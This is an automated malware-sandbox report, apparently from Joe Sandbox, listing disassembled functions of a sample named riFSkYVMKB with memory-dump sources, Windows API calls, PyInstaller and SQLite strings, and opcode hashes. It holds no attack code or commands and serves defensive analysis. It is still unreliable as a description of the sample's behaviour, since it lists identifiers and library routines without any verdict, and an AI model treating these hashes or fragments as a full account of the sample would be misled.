                                                                                                                                                                                                                                          • API String ID: 1436585979-3727861699
                                                                                                                                                                                                                                          • Opcode ID: 0235fca2d0f175db58fc5e3e3c02f5a62c82d5e712601103777287498438dc37
                                                                                                                                                                                                                                          • Instruction ID: 1c91cf4cfd6d9e2fbc22c8ba92fba40755db6b59fd3bb63a009e1dad12210f0f
                                                                                                                                                                                                                                          • Opcode Fuzzy Hash: 0235fca2d0f175db58fc5e3e3c02f5a62c82d5e712601103777287498438dc37
                                                                                                                                                                                                                                          • Instruction Fuzzy Hash: CFA10272B0C2D185D7748B9994E06BE7BA2FB82780F048275DB8E87782DE3DE855D700
                                                                                                                                                                                                                                          Function 00007FFD94127CA0 Relevance: 9.0, APIs: 2, Strings: 3, Instructions: 215COMMON
                                                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                                                          APIs
                                                                                                                                                                                                                                          Strings
                                                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                                                          • Source File: 00000002.00000002.2283494256.00007FFD940D1000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00007FFD940D0000, based on PE: true
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2283450258.00007FFD940D0000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2283494256.00007FFD94231000.00000040.00000001.01000000.0000000B.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2283494256.00007FFD94233000.00000040.00000001.01000000.0000000B.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2283494256.00007FFD94248000.00000040.00000001.01000000.0000000B.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2284223881.00007FFD9424A000.00000080.00000001.01000000.0000000B.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2284334350.00007FFD9424C000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                          • Snapshot File: hcaresult_2_2_7ffd940d0000_riFSkYVMKB.jbxd
                                                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                                                          • API ID: 00007A4173010
                                                                                                                                                                                                                                          • String ID: Cannot add a column to a view$sqlite_altertab_%s$virtual tables may not be altered
                                                                                                                                                                                                                                          • API String ID: 1436585979-2063813899
                                                                                                                                                                                                                                          • Opcode ID: 6f3502865f2554c3b22856db225aa2943b439a183bdfd32a53b0fa553fb1f819
                                                                                                                                                                                                                                          • Instruction ID: 70127e685ea5b12b79871816f09b1c414e2539fa73d44bf34d6744d7d7ac45b9
                                                                                                                                                                                                                                          • Opcode Fuzzy Hash: 6f3502865f2554c3b22856db225aa2943b439a183bdfd32a53b0fa553fb1f819
                                                                                                                                                                                                                                          • Instruction Fuzzy Hash: B591C563B09B8583EB60CF95A4A02BA77A5FB4AB80F459235DE6D57746DF3CE441C300
                                                                                                                                                                                                                                          Function 00007FFD940F8690 Relevance: 9.0, APIs: 2, Strings: 3, Instructions: 211COMMON
                                                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                                                          APIs
                                                                                                                                                                                                                                          Strings
                                                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                                                          • Source File: 00000002.00000002.2283494256.00007FFD940D1000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00007FFD940D0000, based on PE: true
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2283450258.00007FFD940D0000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2283494256.00007FFD94231000.00000040.00000001.01000000.0000000B.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2283494256.00007FFD94233000.00000040.00000001.01000000.0000000B.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2283494256.00007FFD94248000.00000040.00000001.01000000.0000000B.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2284223881.00007FFD9424A000.00000080.00000001.01000000.0000000B.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2284334350.00007FFD9424C000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                          • Snapshot File: hcaresult_2_2_7ffd940d0000_riFSkYVMKB.jbxd
                                                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                                                          • API ID: 00007A4173010
                                                                                                                                                                                                                                          • String ID: %s at line %d of [%.10s]$8653b758870e6ef0c98d46b3ace27849054af85da891eb121e9aaa537f1e8355$database corruption
                                                                                                                                                                                                                                          • API String ID: 1436585979-3727861699
                                                                                                                                                                                                                                          • Opcode ID: cd9a2a69e9f7d6ade83202e689fa17b35f9cfb5684c60c5359bf09700d52bd0d
                                                                                                                                                                                                                                          • Instruction ID: ada4ce49cb16561a1b6e516d6424bb8c0903b8aeb5dad2254c4c4bfc67a22101
                                                                                                                                                                                                                                          • Opcode Fuzzy Hash: cd9a2a69e9f7d6ade83202e689fa17b35f9cfb5684c60c5359bf09700d52bd0d
                                                                                                                                                                                                                                          • Instruction Fuzzy Hash: 6391C063B086C186D724CB6692E56BE77E0FB42B84F088172DB8D47A86DF3CE455D740
                                                                                                                                                                                                                                          Function 00007FFD940FB070 Relevance: 8.9, APIs: 2, Strings: 3, Instructions: 197COMMON
                                                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                                                          APIs
                                                                                                                                                                                                                                          Strings
                                                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                                                          • Source File: 00000002.00000002.2283494256.00007FFD940D1000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00007FFD940D0000, based on PE: true
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2283450258.00007FFD940D0000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2283494256.00007FFD94231000.00000040.00000001.01000000.0000000B.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2283494256.00007FFD94233000.00000040.00000001.01000000.0000000B.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2283494256.00007FFD94248000.00000040.00000001.01000000.0000000B.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2284223881.00007FFD9424A000.00000080.00000001.01000000.0000000B.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2284334350.00007FFD9424C000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                          • Snapshot File: hcaresult_2_2_7ffd940d0000_riFSkYVMKB.jbxd
                                                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                                                          • API ID: 00007A4173010
                                                                                                                                                                                                                                          • String ID: %s at line %d of [%.10s]$8653b758870e6ef0c98d46b3ace27849054af85da891eb121e9aaa537f1e8355$database corruption
                                                                                                                                                                                                                                          • API String ID: 1436585979-3727861699
                                                                                                                                                                                                                                          • Opcode ID: 3d911d27234210aac6b08763dd98c396f9c552569a20e5164efd14393bc372d3
                                                                                                                                                                                                                                          • Instruction ID: a6ebd5c5e304dceaaaec92d39a6de214ecd93a984eccae1ba2d962aa897c5ee3
                                                                                                                                                                                                                                          • Opcode Fuzzy Hash: 3d911d27234210aac6b08763dd98c396f9c552569a20e5164efd14393bc372d3
                                                                                                                                                                                                                                          • Instruction Fuzzy Hash: A981F23270868186E7B09FA5D4A47AE7BA1FB86784F14C036EB4D47796DF38D445DB00
                                                                                                                                                                                                                                          Function 00007FF79D052910 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 86COMMON
                                                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                                                          APIs
                                                                                                                                                                                                                                          • GetCurrentProcessId.KERNEL32(?,?,?,?,00000000,00000000,?,00000000,00007FF79D051B6A), ref: 00007FF79D05295E
                                                                                                                                                                                                                                          Strings
                                                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                                                          • Source File: 00000002.00000002.2280422493.00007FF79D051000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79D050000, based on PE: true
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2280375625.00007FF79D050000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2280458634.00007FF79D07B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2280490510.00007FF79D08E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2280490510.00007FF79D091000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2280720027.00007FF79D094000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                          • Snapshot File: hcaresult_2_2_7ff79d050000_riFSkYVMKB.jbxd
                                                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                                                          • API ID: CurrentProcess
                                                                                                                                                                                                                                          • String ID: %s: %s$Error$Error [ANSI Fallback]$[PYI-%d:ERROR]
                                                                                                                                                                                                                                          • API String ID: 2050909247-2962405886
                                                                                                                                                                                                                                          • Opcode ID: 9e805cce3db004805378da731f60641a61a9f8723a57293993104ba7ce00817f
                                                                                                                                                                                                                                          • Instruction ID: 79fbe01320340a93f56b11bfce8b4ca18936c12e9f35cd8f51272f062fd77bed
                                                                                                                                                                                                                                          • Opcode Fuzzy Hash: 9e805cce3db004805378da731f60641a61a9f8723a57293993104ba7ce00817f
                                                                                                                                                                                                                                          • Instruction Fuzzy Hash: AD31B522B1C68152E730A77AA8406E6A694BF887D4F804131EECD87755FF7CD546C610
                                                                                                                                                                                                                                          Function 00007FF79D052390 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 81windowCOMMON
                                                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                                                          APIs
                                                                                                                                                                                                                                          Strings
                                                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                                                          • Source File: 00000002.00000002.2280422493.00007FF79D051000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79D050000, based on PE: true
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2280375625.00007FF79D050000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2280458634.00007FF79D07B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2280490510.00007FF79D08E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2280490510.00007FF79D091000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2280720027.00007FF79D094000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                          • Snapshot File: hcaresult_2_2_7ff79d050000_riFSkYVMKB.jbxd
                                                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                                                          • API ID: DeleteDestroyDialogHandleIconIndirectModuleObjectParam
                                                                                                                                                                                                                                          • String ID: Unhandled exception in script
                                                                                                                                                                                                                                          • API String ID: 3081866767-2699770090
                                                                                                                                                                                                                                          • Opcode ID: 9d37adb8919aaa9301242e1672c0db5e18d6b44b4274937772719b263de12092
                                                                                                                                                                                                                                          • Instruction ID: 53af5810580f77a57d90cfe339f1b78200e383cf4323bc9776a0b656f6cf2b9a
                                                                                                                                                                                                                                          • Opcode Fuzzy Hash: 9d37adb8919aaa9301242e1672c0db5e18d6b44b4274937772719b263de12092
                                                                                                                                                                                                                                          • Instruction Fuzzy Hash: 0F315F7260DA8189EB30EB75E8552FAA3A0FF89784F840135EA8D4BB49EF3CD140C710
                                                                                                                                                                                                                                          Function 00007FF79D052B50 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 65windowCOMMON
                                                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                                                          APIs
                                                                                                                                                                                                                                          • GetCurrentProcessId.KERNEL32(?,00000000,00000000,FFFFFFFF,00000000,00007FF79D05918F,?,00007FF79D053C55), ref: 00007FF79D052BA0
                                                                                                                                                                                                                                          • MessageBoxW.USER32 ref: 00007FF79D052C2A
                                                                                                                                                                                                                                          Strings
                                                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                                                          • Source File: 00000002.00000002.2280422493.00007FF79D051000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79D050000, based on PE: true
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2280375625.00007FF79D050000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2280458634.00007FF79D07B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2280490510.00007FF79D08E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2280490510.00007FF79D091000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2280720027.00007FF79D094000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                          • Snapshot File: hcaresult_2_2_7ff79d050000_riFSkYVMKB.jbxd
                                                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                                                          • API ID: CurrentMessageProcess
                                                                                                                                                                                                                                          • String ID: WARNING$Warning$[PYI-%d:%ls]
                                                                                                                                                                                                                                          • API String ID: 1672936522-3797743490
                                                                                                                                                                                                                                          • Opcode ID: 9e6d9589c2ecbe46adae8e106eadd318faf54c8367477cb0129d25f7ec3a12f1
                                                                                                                                                                                                                                          • Instruction ID: bcb7c9046c76ef11c626982bf1eb079bcc52f0ceeec505316fb0fe331220361c
                                                                                                                                                                                                                                          • Opcode Fuzzy Hash: 9e6d9589c2ecbe46adae8e106eadd318faf54c8367477cb0129d25f7ec3a12f1
                                                                                                                                                                                                                                          • Instruction Fuzzy Hash: 4A21A162B0CB8182E720AB69F8447EAB3A4EB88784F804136EE8D57755EE3CD645C750
                                                                                                                                                                                                                                          Function 00007FF79D052710 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 64COMMON
                                                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                                                          APIs
                                                                                                                                                                                                                                          • GetCurrentProcessId.KERNEL32(?,00000000,00000000,?,00000000,00007FF79D051B99), ref: 00007FF79D052760
                                                                                                                                                                                                                                          Strings
                                                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                                                          • Source File: 00000002.00000002.2280422493.00007FF79D051000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79D050000, based on PE: true
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2280375625.00007FF79D050000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2280458634.00007FF79D07B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2280490510.00007FF79D08E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2280490510.00007FF79D091000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2280720027.00007FF79D094000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                          • Snapshot File: hcaresult_2_2_7ff79d050000_riFSkYVMKB.jbxd
                                                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                                                          • API ID: CurrentProcess
                                                                                                                                                                                                                                          • String ID: ERROR$Error$Error [ANSI Fallback]$[PYI-%d:%s]
                                                                                                                                                                                                                                          • API String ID: 2050909247-1591803126
                                                                                                                                                                                                                                          • Opcode ID: 16defea7d45dc340f891dcb1518e5bd63c50e449678e4b46de0281de23a8290b
                                                                                                                                                                                                                                          • Instruction ID: 83d3db8ae53ab28b71555f544d05f18a5d5a34647fbaa886d0c69c357f22c71f
                                                                                                                                                                                                                                          • Opcode Fuzzy Hash: 16defea7d45dc340f891dcb1518e5bd63c50e449678e4b46de0281de23a8290b
                                                                                                                                                                                                                                          • Instruction Fuzzy Hash: CD218E32A1CB8192E620EB69B8857EAA394FB88384F800135EECD47759EF7CD5458B50
                                                                                                                                                                                                                                          Function 00007FF79D069AF8 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 27libraryloaderCOMMON
                                                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                                                          APIs
                                                                                                                                                                                                                                          Strings
                                                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                                                          • Source File: 00000002.00000002.2280422493.00007FF79D051000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79D050000, based on PE: true
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2280375625.00007FF79D050000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2280458634.00007FF79D07B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2280490510.00007FF79D08E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2280490510.00007FF79D091000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2280720027.00007FF79D094000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                          • Snapshot File: hcaresult_2_2_7ff79d050000_riFSkYVMKB.jbxd
                                                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                                                          • API ID: AddressFreeHandleLibraryModuleProc
                                                                                                                                                                                                                                          • String ID: CorExitProcess$mscoree.dll
                                                                                                                                                                                                                                          • API String ID: 4061214504-1276376045
                                                                                                                                                                                                                                          • Opcode ID: 644f40749f2397ccfee8900b191f86882f652c7814ccefc594fcc00cef1e1075
                                                                                                                                                                                                                                          • Instruction ID: 064867f11f58abb9f5f588edcddf8626183addff28db9457cc05ee330cdac990
                                                                                                                                                                                                                                          • Opcode Fuzzy Hash: 644f40749f2397ccfee8900b191f86882f652c7814ccefc594fcc00cef1e1075
                                                                                                                                                                                                                                          • Instruction Fuzzy Hash: DFF04F61B0DA0681EB30AF78A8593799360EF45765FD41239C6AE4A6E4EF2CD0448360
                                                                                                                                                                                                                                          Function 00007FF79D0793D8 Relevance: 7.6, APIs: 5, Instructions: 56COMMONLIBRARYCODE
                                                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                                                          APIs
                                                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                                                          • Source File: 00000002.00000002.2280422493.00007FF79D051000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79D050000, based on PE: true
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2280375625.00007FF79D050000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2280458634.00007FF79D07B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2280490510.00007FF79D08E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2280490510.00007FF79D091000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2280720027.00007FF79D094000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                          • Snapshot File: hcaresult_2_2_7ff79d050000_riFSkYVMKB.jbxd
                                                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                                                          • API ID: _set_statfp
                                                                                                                                                                                                                                          • String ID:
                                                                                                                                                                                                                                          • API String ID: 1156100317-0
                                                                                                                                                                                                                                          • Opcode ID: bce21d2362216a5e504affcf34f2858e363de54600403cac3d1eeb36cb2ab404
                                                                                                                                                                                                                                          • Instruction ID: 77d337280c449b8f56842c38b41949dd34bed6fccfc62f838a23fb8b4be81a68
                                                                                                                                                                                                                                          • Opcode Fuzzy Hash: bce21d2362216a5e504affcf34f2858e363de54600403cac3d1eeb36cb2ab404
                                                                                                                                                                                                                                          • Instruction Fuzzy Hash: 6D11BF72F0CA1301F674793CFD5677DA0546F59360F840634EAEE0E3D6AE2CA8414124
                                                                                                                                                                                                                                          Function 00007FF79D06B400 Relevance: 7.6, APIs: 5, Instructions: 54COMMONLIBRARYCODE
                                                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                                                          APIs
                                                                                                                                                                                                                                          • FlsGetValue.KERNEL32(?,?,?,00007FF79D06A613,?,?,00000000,00007FF79D06A8AE,?,?,?,?,?,00007FF79D06A83A), ref: 00007FF79D06B41F
                                                                                                                                                                                                                                          • FlsSetValue.KERNEL32(?,?,?,00007FF79D06A613,?,?,00000000,00007FF79D06A8AE,?,?,?,?,?,00007FF79D06A83A), ref: 00007FF79D06B43E
                                                                                                                                                                                                                                          • FlsSetValue.KERNEL32(?,?,?,00007FF79D06A613,?,?,00000000,00007FF79D06A8AE,?,?,?,?,?,00007FF79D06A83A), ref: 00007FF79D06B466
                                                                                                                                                                                                                                          • FlsSetValue.KERNEL32(?,?,?,00007FF79D06A613,?,?,00000000,00007FF79D06A8AE,?,?,?,?,?,00007FF79D06A83A), ref: 00007FF79D06B477
                                                                                                                                                                                                                                          • FlsSetValue.KERNEL32(?,?,?,00007FF79D06A613,?,?,00000000,00007FF79D06A8AE,?,?,?,?,?,00007FF79D06A83A), ref: 00007FF79D06B488
                                                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                                                          • Source File: 00000002.00000002.2280422493.00007FF79D051000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79D050000, based on PE: true
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2280375625.00007FF79D050000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2280458634.00007FF79D07B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2280490510.00007FF79D08E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2280490510.00007FF79D091000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2280720027.00007FF79D094000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                          • Snapshot File: hcaresult_2_2_7ff79d050000_riFSkYVMKB.jbxd
                                                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                                                          • API ID: Value
                                                                                                                                                                                                                                          • String ID:
                                                                                                                                                                                                                                          • API String ID: 3702945584-0
                                                                                                                                                                                                                                          • Opcode ID: 43a5c13e669b9c0dc60c9d5204f3187f9cebb30c335aac4df6ce1d0b58ad24f5
                                                                                                                                                                                                                                          • Instruction ID: f365b66382c5c71044cbe8ad59d839b4c2ffd4eeb7923396a36422997a4d3a84
                                                                                                                                                                                                                                          • Opcode Fuzzy Hash: 43a5c13e669b9c0dc60c9d5204f3187f9cebb30c335aac4df6ce1d0b58ad24f5
                                                                                                                                                                                                                                          • Instruction Fuzzy Hash: 67114F60B0CE4241FA78B7BD6951179E5419F447B0FD48334E9BD466DAFE2DA4018321
                                                                                                                                                                                                                                          Function 00007FF79D06B294 Relevance: 7.6, APIs: 5, Instructions: 50COMMON
                                                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                                                          APIs
                                                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                                                          • Source File: 00000002.00000002.2280422493.00007FF79D051000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79D050000, based on PE: true
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2280375625.00007FF79D050000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2280458634.00007FF79D07B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2280490510.00007FF79D08E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2280490510.00007FF79D091000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2280720027.00007FF79D094000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                          • Snapshot File: hcaresult_2_2_7ff79d050000_riFSkYVMKB.jbxd
                                                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                                                          • API ID: Value
                                                                                                                                                                                                                                          • String ID:
                                                                                                                                                                                                                                          • API String ID: 3702945584-0
                                                                                                                                                                                                                                          • Opcode ID: 8aa69c65082f5ed190463b1c2d732539134b8ecb86da000f77e4666776fecf75
                                                                                                                                                                                                                                          • Instruction ID: 3cee61c315879ac7a74a9334310861194dae80d51da3b3ce91dfedccb729d9e9
                                                                                                                                                                                                                                          • Opcode Fuzzy Hash: 8aa69c65082f5ed190463b1c2d732539134b8ecb86da000f77e4666776fecf75
                                                                                                                                                                                                                                          • Instruction Fuzzy Hash: 4C110360B0CE0781FAB8B6FD585127EA6825F45720FD84734D9BE4A2C2FE2DB4018231
                                                                                                                                                                                                                                          Function 00007FFD94159750 Relevance: 7.3, APIs: 1, Strings: 3, Instructions: 288COMMON
                                                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                                                          APIs
                                                                                                                                                                                                                                          • 00007FFDA4173010.VCRUNTIME140(?,?,?,?,?,?,?,00000000,00000000,?,00000003,00000000,00007FFD94159F87,?,00000007,?), ref: 00007FFD94159917
                                                                                                                                                                                                                                          Strings
                                                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                                                          • Source File: 00000002.00000002.2283494256.00007FFD940D1000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00007FFD940D0000, based on PE: true
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2283450258.00007FFD940D0000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2283494256.00007FFD94231000.00000040.00000001.01000000.0000000B.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2283494256.00007FFD94233000.00000040.00000001.01000000.0000000B.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2283494256.00007FFD94248000.00000040.00000001.01000000.0000000B.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2284223881.00007FFD9424A000.00000080.00000001.01000000.0000000B.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2284334350.00007FFD9424C000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                          • Snapshot File: hcaresult_2_2_7ffd940d0000_riFSkYVMKB.jbxd
                                                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                                                          • API ID: 00007A4173010
                                                                                                                                                                                                                                          • String ID: %.*z:%u$column%d$rowid
                                                                                                                                                                                                                                          • API String ID: 1436585979-2903559916
                                                                                                                                                                                                                                          • Opcode ID: efce2a594c8615c6195497c0eb65d48d2a67f449694f3429559b3ef3d31313fd
                                                                                                                                                                                                                                          • Instruction ID: db9e1bc710d69b6616748314e252e3ee46f153f07f2517af555be09034f6eb94
                                                                                                                                                                                                                                          • Opcode Fuzzy Hash: efce2a594c8615c6195497c0eb65d48d2a67f449694f3429559b3ef3d31313fd
                                                                                                                                                                                                                                          • Instruction Fuzzy Hash: EDB1BD23B2978685EA359BD594A03F96790AF42B84F49C235DE4D2B3D6EF3CE805C701
                                                                                                                                                                                                                                          Function 00007FF79D066010 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 242COMMON
                                                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                                                          APIs
                                                                                                                                                                                                                                          Strings
                                                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                                                          • Source File: 00000002.00000002.2280422493.00007FF79D051000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79D050000, based on PE: true
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2280375625.00007FF79D050000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2280458634.00007FF79D07B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2280490510.00007FF79D08E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2280490510.00007FF79D091000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2280720027.00007FF79D094000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                          • Snapshot File: hcaresult_2_2_7ff79d050000_riFSkYVMKB.jbxd
